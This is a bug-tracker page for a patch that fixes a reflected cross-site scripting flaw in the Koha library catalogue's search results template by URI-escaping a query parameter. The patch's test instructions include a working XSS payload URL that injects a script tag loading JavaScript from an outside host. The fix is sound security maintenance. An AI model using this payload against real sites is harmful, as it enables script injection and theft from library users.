Attachment 40366 Details for Bug 14418 – [PASSED QA] Bug 14418 XSS Vulnerabilities

[patch] [PASSED QA] Bug 14418 XSS Vulnerabilities

PASSED-QA-Bug-14418-XSS-Vulnerabilities.patch (text/plain), 3.77 KB, created by Katrin Fischer on 2015-06-19 13:11:47 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Katrin Fischer

Created: 2015-06-19 13:11:47 UTC

Size: 3.77 KB

patch

obsolete

>From c958ae3243190bc018ae5c3ad0dd93a3431a3606 Mon Sep 17 00:00:00 2001
>From: Chris Cormack <chrisc@catalyst.net.nz>
>Date: Fri, 19 Jun 2015 09:25:22 +1200
>Subject: [PATCH] [PASSED QA] Bug 14418 XSS Vulnerabilities
>
>Fix for /cgi-bin/koha/opac-search.pl
>
>To test
>
>1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script
>src='http://cst.sba-research.org/x.js'/>&q=a
>2/ Notice the js is executed
>3/ Apply patch
>4/ Reload page, notice it is no longer executed
>5/ Test the rss links work still
>
>Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
>Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
>Confirmed bug and that the patch fixes it.
>---
> koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-results.tt |    6 +++---
> 1 file changed, 3 insertions(+), 3 deletions(-)
>
>diff --git a/koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-results.tt b/koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-results.tt
>index d905f13..aaf904f 100644
>--- a/koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-results.tt
>+++ b/koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-results.tt
>@@ -16,7 +16,7 @@
>     [% END %]
> [% END %]
> 
>-<link rel="alternate" type="application/rss+xml" title="[% LibraryName |html %] Search RSS feed" href="[% OPACBaseURL %]/cgi-bin/koha/opac-search.pl?[% query_cgi %][% limit_cgi |uri %]&amp;count=[% countrss |uri %]&amp;sort_by=acqdate_dsc&amp;format=rss2" />
>+<link rel="alternate" type="application/rss+xml" title="[% LibraryName |html %] Search RSS feed" href="[% OPACBaseURL %]/cgi-bin/koha/opac-search.pl?[% query_cgi | uri %][% limit_cgi |uri %]&amp;count=[% countrss |uri %]&amp;sort_by=acqdate_dsc&amp;format=rss2" />
> </head>
> 
> [% INCLUDE 'bodytag.inc' bodyid='results' bodyclass='scrollto' %]
>@@ -41,7 +41,7 @@
>                         <strong>No results found!</strong>
>                         <p>
>                             [% IF ( searchdesc ) %]
>-                                No results found for that in [% LibraryName %] catalog. <a href="[% OPACBaseURL %]/cgi-bin/koha/opac-search.pl?[% query_cgi %][% limit_cgi | html | url %]&amp;format=rss2" class="rsssearchlink noprint"><img src="[% interface %]/[% theme %]/images/feed-icon-16x16.png" alt="Subscribe to this search" title="Subscribe to this search" border="0" class="rsssearchicon"/></a>
>+                                No results found for that in [% LibraryName %] catalog. <a href="[% OPACBaseURL %]/cgi-bin/koha/opac-search.pl?[% query_cgi | uri %][% limit_cgi | html | url %]&amp;format=rss2" class="rsssearchlink noprint"><img src="[% interface %]/[% theme %]/images/feed-icon-16x16.png" alt="Subscribe to this search" title="Subscribe to this search" border="0" class="rsssearchicon"/></a>
>                             [% ELSE %]
>                                 You did not specify any search criteria.
>                             [% END %]
>@@ -85,7 +85,7 @@
>                                 [% END %]
>                             ).
>                         [% END %]
>-                        <a href="[% OPACBaseURL %]/cgi-bin/koha/opac-search.pl?[% query_cgi %][% limit_cgi |html | url %]&amp;count=[% countrss |html %]&amp;sort_by=acqdate_dsc&amp;format=rss2" class="rsssearchlink noprint"><img src="[% interface %]/[% theme %]/images/feed-icon-16x16.png" alt="Subscribe to this search" title="Subscribe to this search" class="rsssearchicon"/></a>
>+                        <a href="[% OPACBaseURL %]/cgi-bin/koha/opac-search.pl?[% query_cgi | uri %][% limit_cgi |html | url %]&amp;count=[% countrss |html %]&amp;sort_by=acqdate_dsc&amp;format=rss2" class="rsssearchlink noprint"><img src="[% interface %]/[% theme %]/images/feed-icon-16x16.png" alt="Subscribe to this search" title="Subscribe to this search" class="rsssearchicon"/></a>
>                     [% END # / IF total %]
>                     </p>
>                 [% END # / IF searchdesc %]
>-- 
>1.7.10.4

Actions: View | Diff | Splinter Review

Attachments on bug 14418: 40335 | 40338 | 40342 | 40343 | 40350 | 40351 | 40352 | 40366 | 40367 | 40368